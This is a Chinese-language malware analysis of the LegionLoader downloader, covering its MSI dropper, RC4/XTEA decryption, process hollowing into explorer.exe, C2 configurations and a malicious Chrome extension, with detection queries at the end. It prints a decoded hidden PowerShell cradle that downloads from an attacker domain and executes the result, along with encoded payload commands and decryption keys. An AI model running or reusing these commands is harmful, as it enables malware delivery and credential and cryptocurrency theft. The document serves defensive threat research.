C/C++ 编写的下载器-LegionLoader

admin 2025年2月9日01:11:18评论33 views字数 12499阅读41分39秒阅读模式
C/C++ 编写的下载器-LegionLoader

研究

LegionLoader 是一种用 C/C++ 编写的下载恶意软件,于 2019 年首次出现在野外。它也有其他名称,包括 Satacom 和 RobotDropper,并被 Mandiant 跟踪为 CurlyGate。

已观察到该加载程序提供能够更改电子邮件内容和监控浏览活动的恶意 Chrome 扩展程序。还观察到实施 CursedChrome,这是一个 Chrome 扩展程序,可将受感染的 Chrome 浏览器转换为 HTTP 代理,从而允许在其所有网站上以受害者身份进行网页浏览。

此外,该扩展程序可以捕获 Chrome 中可见选项卡的屏幕截图,并管理访问和更新 Facebook、Coinbase 和 Google Pay 账户余额的请求,以及执行财务作,例如提取加密货币资金。

自 2024 年 8 月以来,已观察到 LegionLoader 与 LummaC2、Rhadamanthys 和 StealC 等 Chrome 扩展程序一起提供窃取程序。加载程序通过路过式下载进行传播,用户被诱骗访问托管虚假安装程序的网站,最终导致通过 RapidShare 交付有效负载,其中包含指向 MEGA 的链接。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
RapidShare 为 LegionLoader 提供服务(来源:any.run)
C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
MEGA 为 LegionLoader 提供服务(来源:any.run)

滴管分析

在执行 MSI 二进制文件时,该文件会将文件执行的日期和时间以及 ProductLanguage 作为注册或签入过程的一部分发送到服务器 (),并从同一服务器获取响应。响应包含嵌入在 MSI 二进制文件中的受保护 ZIP 存档的密码,还用作 RC4 密钥的一部分,我们将在本文中进一步介绍。software-license1.com/licenseUser[.]php

ZIP 存档包含用于旁加载的恶意 DLL 文件 (T1574.002)。以前,LegionLoader 利用 rnp.dll 使用合法的 rnpkeys.exe 二进制文件进行旁加载。自 2024 年 9 月以来,加载程序已切换到 using 来旁加载恶意文件。steamerrorreporter64.exevstdlib_s64.dll

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
MSI 文件的执行脚本代码

在联系服务器检索密码之前,用户会收到一条提示,确认他们不是机器人,如下所示。这样做可能是为了绕过不涉及人工交互的沙盒分析。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
人工验证检查 (1)
C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
人工验证检查 (2)

值得一提的是,恶意 DLL 文件和其他依赖项位于该文件夹下。文件夹和子文件夹名称的示例如下所示。AppDataRoaming

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
MSI 文件的属性
C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
加密和 base64 编码的 shellcode

这是加密的 base64 编码的 shellcode。base64 解码发生在如下所示的函数中。在屏幕截图中,我们可以看到有效负载正在实现 API 锤击技术。当程序快速调用许多系统 API 以逃避检测并通过执行大量合法的 API 调用来迷惑研究人员和分析师时,就会发生 API 锤击。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
Base64 解码代码

在解码 Base64 blob 时,我们面临着另一个挑战。base64 解码的 shellcode 仍为加密形式。加密后的 shellcode 必须使用 RC4 算法进行另一轮解密。

RC4 键是根据立即常量和注册表项值的计算生成的。在下图中,我们可以看到 RC4 密钥的前 4 字节部分是根据将常量 和 相加计算得出的,得到 。0xFE54DF0F0x0010914C0xFE65705B

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
计算 RC4 密钥的第一部分

键的第二部分的计算方式与第一部分类似。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
计算 RC4 密钥的第二部分

密钥的第三个 4 字节部分是从注册表项中提取的;还值得一提的是,这与前面提到的用于从 ZIP 存档中提取恶意 DLL 的密钥(密码)相同。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
注册表项

key 的最后一部分是根据 CRC32 哈希结果计算的,该结果将硬编码值作为输入。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
计算 CRC32 哈希的代码

现在我们手头有 RC4 密钥,我们可以使用 CyberChef 解密 shellcode,如下所示。(5B 70 65 FE AA F1 C5 EB 64 0B D1 80 26 77 A3 58)

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
通过 CyberChef 解密 shellcode

核心 LegionLoader 有效负载使用 XTEA 解密算法在 shellcode 中解密,在 shellcode 有效负载开始后传递 14 字节的 16 字节密钥。我们复制了算法;您可以在此处找到 XTEA 解密脚本。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
XTEA 算法
C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
XTEA 密钥 (shellcode payload)
C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
加密的核心 LegionLoader 有效负载

shellcode 获取 explorer.exe 进程的路径,并通过进程镂空注入技术将核心 LegionLoader payload 注入到 explorer.exe 进程中,如下所示。值得一提的是,API 是使用 CRC32 进行哈希处理的。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
获取 explorer.exe 路径并对解密的有效负载执行进程挖空

LegionLoader 系列

连接到二进制文件中的硬编码 C2 后,LegionLoader 会收到带有 Base64 编码和 RC4 加密配置的响应。RC4 密钥至少自 2023 年以来就没有改变过。079FB5014960AE886DAA979650AF571EA6787CA45F5CCEFE312104DEDBC0DF3D

对于初始请求,加载程序将使用 Mersenne Twister 随机数生成器生成随机字符序列,以索引到一组预定义的字母数字 62 值中,并用这些字符填充输出缓冲区;总共将附加 16 个字符以形成发送到 C2 服务器的 GET 请求,例如 .a=/test_gate0117.php?a=0RLOGyBKmftm6wU

我们一直在观察到威胁行为者使用 GET 请求。test_gate0117

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
从 C2 服务器收到的响应
{
"count":"0",
"nonencrypt":"false",
"dll":"false",
"pops":"false",
"int_point":"PluginInit",
"manual_start":{
"url":"https://gulbur[.]com/1488/236.bin",
"key":"7140D3852C128C498CB8EDB657AE1880"
},
"postback":"true",
"geo":"GB",
"crypto_domain":"google.com",
"powershell":"cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuIC1lIEpBQjNBRDBBYmdCbEFIY0FMUUJ2QUdJQWFnQmxBR01BZEFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVGdCbEFIUUFMZ0JYQUdVQVlnQmpBR3dBYVFCbEFHNEFkQUE3QUNRQVlnQnpBRDBBSkFCM0FDNEFSQUJ2QUhjQWJnQnNBRzhBWVFCa0FGTUFkQUJ5QUdrQWJnQm5BQ2dBSWdCb0FIUUFkQUJ3QUhNQU9nQXZBQzhBYkFCaEFITUFkQUF0QUdJQWJBQnBBRzRBYXdBdUFHTUFid0J0QUM4QU1nQTNBREFBT1FBdUFHSUFjd0EyQURRQUlnQXBBRHNBV3dCQ0FIa0FkQUJsQUZzQVhRQmRBQ0FBSkFCNEFEMEFXd0JEQUc4QWJnQjJBR1VBY2dCMEFGMEFPZ0E2QUVZQWNnQnZBRzBBUWdCaEFITUFaUUEyQURRQVV3QjBBSElBYVFCdUFHY0FLQUFrQUdJQWN3QXVBRklBWlFCd0FHd0FZUUJqQUdVQUtBQWlBQ0VBSWdBc0FDSUFZZ0FpQUNrQUxnQlNBR1VBY0FCc0FHRUFZd0JsQUNnQUlnQkFBQ0lBTEFBaUFHZ0FJZ0FwQUM0QVVnQmxBSEFBYkFCaEFHTUFaUUFvQUNJQUpBQWlBQ3dBSWdCdEFDSUFLUUF1QUZJQVpRQndBR3dBWVFCakFHVUFLQUFpQUNVQUlnQXNBQ0lBY0FBaUFDa0FMZ0JTQUdVQWNBQnNBR0VBWXdCbEFDZ0FJZ0JlQUNJQUxBQWlBSFlBSWdBcEFDa0FPd0JtQUc4QWNnQW9BQ1FBYVFBOUFEQUFPd0FrQUdrQUlBQXRBR3dBZEFBZ0FDUUFlQUF1QUVNQWJ3QjFBRzRBZEFBN0FDUUFhUUFyQUNzQUtRQjdBQ1FBZUFCYkFDUUFhUUJkQUQwQUlBQW9BQ1FBZUFCYkFDUUFhUUJkQUNBQUxRQmlBSGdBYndCeUFDQUFNUUEyQURjQUtRQWdBQzBBWWdCNEFHOEFjZ0FnQURFQU9BQjlBRHNBYVFCbEFIZ0FLQUJiQUZNQWVRQnpBSFFBWlFCdEFDNEFWQUJsQUhnQWRBQXVBRVVBYmdCakFHOEFaQUJwQUc0QVp3QmRBRG9BT2dCVkFGUUFSZ0E0QUM0QVJ3QmxBSFFBVXdCMEFISUFhUUJ1QUdjQUtBQWtBSGdBS1FBcEFBPT0=",
"moderation":"false",
"postback_id":"false",
"postback_url":"l-back.com",
"postback_path":"click?cnv_id="
}

“计数”是指应运行某个任务的次数,例如,执行 DLL、批处理文件或可执行文件。

  • nonencrypt 
    (True 或 False) — 表示负载是未加密还是未加密。
  • dll 
    (True 或 False) 是从 C2 检索的 DLL 有效负载。
  • int_point 
    — 可能表示 DLL 要运行的导出函数 (“PluginInit”)。
  • geo 
    — 受感染计算机所在的国家/地区。
  • PowerShell 
    — 指定要在受害者的计算机上运行的 PowerShell base64 编码命令。
  • POSTBACK 
    — 该参数可能用于跟踪加载程序是否已成功执行。
  • postback_id 
    — cnv_id的唯一标识符(并非在所有配置中都存在)
  • postback_url 
    — 接收跟踪信息的 URL。
  • postback_path 
    — 回发 URL 的路径。
  • manual start
     — 包含托管具有 XTEA 解密密钥的附加负载的 URL。
  • moderation 
    (True 或 False) — 可能确定是否进行额外的有效负载处理(对于从 C2 检索的 bat、exe 和 DLL 文件)

配置中的 PowerShell base64 编码命令检索恶意 Chrome 扩展程序,该扩展程序可以更改电子邮件内容、提取加密货币资金、捕获 Chrome 选项卡的屏幕截图并收集系统信息:

powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AbABhAHMAdAAtAGIAbABpAG4AawAuAGMAbwBtAC8AMgA3ADAAOQAuAGIAcwA2ADQAIgApADsAWwBCAHkAdABlAFsAXQBdACAAJAB4AD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAcwAuAFIAZQBwAGwAYQBjAGUAKAAiACEAIgAsACIAYgAiACkALgBSAGUAcABsAGEAYwBlACgAIgBAACIALAAiAGgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAJAAiACwAIgBtACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACUAIgAsACIAcAAiACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAiAHYAIgApACkAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAeAAuAEMAbwB1AG4AdAA7ACQAaQArACsAKQB7ACQAeABbACQAaQBdAD0AIAAoACQAeABbACQAaQBdACAALQBiAHgAbwByACAAMQA2ADcAKQAgAC0AYgB4AG8AcgAgADEAOAB9ADsAaQBlAHgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHgAKQApAA==

解码的 PowerShell 命令:

$w=new-objectSystem.Net.Webclient;$bs=$w.DownloadString("https://last-blink[.]com/2709.bs64");[Byte[]]$x=[Convert]::FromBase64String($bs.Replace("!","b").Replace("@","h").Replace("$","m").Replace("%","p").Replace("^","v"));for($i=0;$i-lt$x.Count;$i++){$x[$i]=($x[$i]-bxor167)-bxor18};iex([System.Text.Encoding]::UTF8.GetString($x))

在分析二进制文件时,我们发现了一个额外的参数 file_ext,该参数在获取的配置中没有提及。此参数确定下一阶段有效负载的文件扩展名,可以是 .bat、.exe 或 .dll,如下所示。通过分析其他有效负载,我们发现配置可以分别包含 .exe 和 .dll 文件的 file_ext1 和 file_ext2,以及托管有效负载的 C2 服务器的 url1 和 url2。这表明加载程序的配置可以轻松定制,以满足威胁行为者的特定需求。

{
"url1":"https://1blob[.]monster/pidaras/170.exe",
"url2":"https://2j[.]tel/WCorprIIFS",
"count":"2",
"file_ext1":"exe",
"file_ext2":"dll",
"nonencrypt":"false",
"dll":"false",
"pops":"false",
"int_point":"PluginInit",
"manual_start":null,
"postback":"true",
"geo":"RO",
"crypto_domain":"mix",
"powershell":"cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuIC1lIEpBQjNBRDBBYmdCbEFIY0FMUUJ2QUdJQWFnQmxBR01BZEFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVGdCbEFIUUFMZ0JYQUdVQVlnQmpBR3dBYVFCbEFHNEFkQUE3QUNRQVlnQnpBRDBBSkFCM0FDNEFSQUJ2QUhjQWJnQnNBRzhBWVFCa0FGTUFkQUJ5QUdrQWJnQm5BQ2dBSWdCb0FIUUFkQUJ3QURvQUx3QXZBR2NBYndCdkFHUUFNZ0F0QUd3QVpRQmtBQzRBWXdCdkFHMEFMd0JrQUdFQWNnQnJBRFFBTGdCaUFITUFOZ0EwQUNJQUtRQTdBRnNBUWdCNUFIUUFaUUJiQUYwQVhRQWdBQ1FBZUFBOUFGc0FRd0J2QUc0QWRnQmxBSElBZEFCZEFEb0FPZ0JHQUhJQWJ3QnRBRUlBWVFCekFHVUFOZ0EwQUZNQWRBQnlBR2tBYmdCbkFDZ0FKQUJpQUhNQUxnQlNBR1VBY0FCc0FHRUFZd0JsQUNnQUlnQWhBQ0lBTEFBaUFHSUFJZ0FwQUM0QVVnQmxBSEFBYkFCaEFHTUFaUUFvQUNJQVFBQWlBQ3dBSWdCa0FDSUFLUUF1QUZJQVpRQndBR3dBWVFCakFHVUFLQUFpQUNRQUlnQXNBQ0lBWndBaUFDa0FMZ0JTQUdVQWNBQnNBR0VBWXdCbEFDZ0FJZ0FsQUNJQUxBQWlBRzBBSWdBcEFDNEFVZ0JsQUhBQWJBQmhBR01BWlFBb0FDSUFYZ0FpQUN3QUlnQnpBQ0lBS1FBcEFEc0FaZ0J2QUhJQUtBQWtBR2tBUFFBd0FEc0FKQUJwQUNBQUxRQnNBSFFBSUFBa0FIZ0FMZ0JEQUc4QWRRQnVBSFFBT3dBa0FHa0FLd0FyQUNrQWV3QWtBSGdBV3dBa0FHa0FYUUE5QUNBQUtBQWtBSGdBV3dBa0FHa0FYUUFnQUMwQVlnQjRBRzhBY2dBZ0FERUFOZ0EzQUNrQUlBQXRBR0lBZUFCdkFISUFJQUF4QURnQWZRQTdBR2tBWlFCNEFDZ0FXd0JUQUhrQWN3QjBBR1VBYlFBdUFGUUFaUUI0QUhRQUxnQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQVhRQTZBRG9BVlFCVUFFWUFPQUF1QUVjQVpRQjBBRk1BZEFCeUFHa0FiZ0JuQUNnQUpBQjRBQ2tBS1FBPQ==",
"moderation":"false",
"postback_id":"74079gmntbg8w3y635",
"postback_url":"raur94.com",
"postback_path":"gAySB.php?cnv_id="
}
C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
扩展执行流程

根据文件扩展名,加载程序将利用以下内容:

  • 从 C2 服务器检索到的加密文件放置在 %TEMP% 文件夹中,文件名使用 Mersenne Twister 算法生成(16 个字符长),后跟.dat扩展名(例如,vaYcTXaC84DehVv..dat,包括一个额外的点)。如果解密的文件是可执行文件,则将其重命名为 svchost.exe 并放置在 %TEMP% 下的子文件夹中,并随机生成名称,再次使用 Mersenne Twister 算法(16 个字符)。
  • 如果文件是 DLL,则 rundll32.exe 将用于执行该文件。
  • 如果是批处理文件,则使用 ShellExecuteA 函数启动该文件。

除了获取的配置外,LegionLoader 还包含如下所示的 RC4 加密硬编码字符串。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
加密的硬编码字符串

解密的字符串:

8.8.8.8
dns-beast.com
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
test_gate0117.php
&value=1
gate2.php?a=
complete-s.monster
error.php?text=
GoogleChromeUser DataLocal State

LegionLoader 可以将 DNS 请求发送到 dns-beast[.]com 检索加密的 C2 地址,然后使用该地址下载下一阶段的有效负载。但是,在这种情况下,LegionLoader 利用明文中的硬编码 C2 地址来获取包含另一个 C2 URL 的配置文件,然后使用该文件检索下一阶段的有效负载。

在一些示例中,我们观察到有效负载将数据发送到辅助 C2 (complete-s.monster/error.php?text=),其中包括来自 shell_body 参数定义的任务的恶意 PowerShell 命令。此外,“status” 和 “last_win_error” 参数可能用于跟踪任务执行结果并报告执行过程中可能发生的任何错误。除了提到的参数外,最近的二进制文件还有 windows_version、status_code、file_number 和 file_statuses 等参数。

{
"shell_body":"cG93ZXJzaGVsbCAtd2luZG93c3R5bGUgaGlkZGVuIC1lIEpBQjNBRDBBYmdCbEFIY0FMUUJ2QUdJQWFnQmxBR01BZEFBZ0FGTUFlUUJ6QUhRQVpRQnRBQzRBVGdCbEFIUUFMZ0JYQUdVQVlnQmpBR3dBYVFCbEFHNEFkQUE3QUNRQVlnQnpBRDBBSkFCM0FDNEFSQUJ2QUhjQWJnQnNBRzhBWVFCa0FGTUFkQUJ5QUdrQWJnQm5BQ2dBSWdCb0FIUUFkQUJ3QURvQUx3QXZBR2NBYndCdkFHUUFNZ0F0QUd3QVpRQmtBQzRBWXdCdkFHMEFMd0JrQUdFQWNnQnJBRFFBTGdCaUFITUFOZ0EwQUNJQUtRQTdBRnNBUWdCNUFIUUFaUUJiQUYwQVhRQWdBQ1FBZUFBOUFGc0FRd0J2QUc0QWRnQmxBSElBZEFCZEFEb0FPZ0JHQUhJQWJ3QnRBRUlBWVFCekFHVUFOZ0EwQUZNQWRBQnlBR2tBYmdCbkFDZ0FKQUJpQUhNQUxnQlNBR1VBY0FCc0FHRUFZd0JsQUNnQUlnQWhBQ0lBTEFBaUFHSUFJZ0FwQUM0QVVnQmxBSEFBYkFCaEFHTUFaUUFvQUNJQVFBQWlBQ3dBSWdCa0FDSUFLUUF1QUZJQVpRQndBR3dBWVFCakFHVUFLQUFpQUNRQUlnQXNBQ0lBWndBaUFDa0FMZ0JTQUdVQWNBQnNBR0VBWXdCbEFDZ0FJZ0FsQUNJQUxBQWlBRzBBSWdBcEFDNEFVZ0JsQUhBQWJBQmhBR01BWlFBb0FDSUFYZ0FpQUN3QUlnQnpBQ0lBS1FBcEFEc0FaZ0J2QUhJQUtBQWtBR2tBUFFBd0FEc0FKQUJwQUNBQUxRQnNBSFFBSUFBa0FIZ0FMZ0JEQUc4QWRRQnVBSFFBT3dBa0FHa0FLd0FyQUNrQWV3QWtBSGdBV3dBa0FHa0FYUUE5QUNBQUtBQWtBSGdBV3dBa0FHa0FYUUFnQUMwQVlnQjRBRzhBY2dBZ0FERUFOZ0EzQUNrQUlBQXRBR0lBZUFCdkFISUFJQUF4QURnQWZRQTdBR2tBWlFCNEFDZ0FXd0JUQUhrQWN3QjBBR1VBYlFBdUFGUUFaUUI0QUhRQUxnQkZBRzRBWXdCdkFHUUFhUUJ1QUdjQVhRQTZBRG9BVlFCVUFFWUFPQUF1QUVjQVpRQjBBRk1BZEFCeUFHa0FiZ0JuQUNnQUpBQjRBQ2tBS1FBPQ==",
"status":1,
"last_win_error":0
}

从解密字符串中传递“&value=1”以形成跟踪 URL,例如 l-back[.]com/gAySB.php?cnv_id=74079gmntbg8w3y635&value=1

GoogleChromeUser DataLocal State — 是加载程序提取 Chrome 凭据和其他敏感数据的解密密钥的文件夹。

LegionLoader 开始加密他们的下一阶段有效负载,这些有效负载稍后将在 shellcode 中解密,该 shellcode 再次使用 XTEA 加密。到目前为止,我们已经看到 LummaC2 和 StealC 被丢弃,以前,是 RisePro 在关闭服务之前。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
解密 Next stage payload 的函数

感染指标

您可以在此处访问感染指标。

检测建议

1. 使用 URL 模式监控 GET 请求,例如:

  • /gate2.php?a=
  • /test_gate0117.php?a
  • /gAySB.php?
  • /licenseUser.php

2. 监视“%TEMP%\[A-Za-z0–9]{16}svchost.exe”下放置svchost.exe文件。

3. 监控拖放到 Downloads 文件夹下的 ZIP 文件,以及使用命名约定(如 app__v7.2.5_.zip、app__v6.28.1_.zip 等)执行 MSI 文件。

4. 在接触可疑 IP 时监控 explorer.exe 进程。

5. 监控从 PowerShell 进程生成的可疑 base64 编码命令。

6. 查找短时间内从 Chrome 进程到多个加密域的出站连接,如下所示:

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
来自恶意扩展程序的 Chrome 进程的出站网络连接

7. 检查位于“AppDataLocal[A-Za-z0–9]{14}下名为”Save to Google Drive“的恶意 Chrome 扩展程序,例如 C:UsersusernameAppDataLocalPpEgTomIkqhROf”。

C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
恶意 Chrome 扩展程序
C/C++ 编写的下载器-LegionLoaderC/C++ 编写的下载器-LegionLoader
恶意 Chrome 扩展文件夹的内容

规则和检测查询

Yara 规则可在此处访问。

可在此处访问 Sigma 规则。

KQL 查询

进程注入到explorer.exe生成powershell.exe:

DeviceProcessEvents
| where ProcessCommandLine == "powershell.exe -windowstyle hidden -e"
| where InitiatingProcessFileName == "explorer.exe"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName, InitiatingProcessId, ProcessId
| order by TimeGenerated desc

或者用于检测 LegionLoader 进程注入的替代查询:

DeviceEvents
| where ProcessCommandLine == "C:\WINDOWS\SysWOW64\explorer.exe explorer.exe"

DLL 旁加载(LegionLoader 一直在利用 NVIDIA GeForce Experience.exe、steamerrorreporter64.exe、rand npkeys.exe 来执行 DLL 旁加载):

DeviceImageLoadEvents
| where InitiatingProcessFolderPath has "AppData\Roaming"
| where InitiatingProcessFileName in ("NVIDIA GeForce Experience.exe", "steamerrorreporter64.exe", "rnpkeys.exe")
| where FolderPath has_any ("libcef.dll", "vstdlib_s64.dll", "rnp.dll")
| project TimeGenerated, DeviceName, InitiatingProcessFolderPath, InitiatingProcessFileName, FolderPath, FileName
| order by TimeGenerated desc

这绕过了实验室中的 Defender,注入到 BitLockerToGo:

DeviceProcessEvents
| where FileName has "BitLockerToGo.exe"
| where InitiatingProcessFileName endswith ".exe"
| where InitiatingProcessFolderPath contains "appdata\local\temp"
| project TimeGenerated, InitiatingProcessFileName, InitiatingProcessFolderPath, FileName, FolderPath, ProcessCommandLine, InitiatingProcessId, ProcessId
| order by TimeGenerated desc

注册表运行键中的持久性(LegionLoader 本身运行 BitLockerToGo.exe 的目的尚不清楚):

DeviceProcessEvents
| where ProcessCommandLine == "powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe\" }""

引用

https://github.com/mandatoryprogrammer/CursedChrome

https://securelist.com/satacom-delivers-cryptocurrency-stealing-browser-extension/109807/

https://x.com/anyrun_app/status/1828798277828890788

原文始发于微信公众号(安全狗的自我修养):C/C++ 编写的下载器-LegionLoader

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月9日01:11:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   C/C++ 编写的下载器-LegionLoaderhttps://cn-sec.com/archives/3714815.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息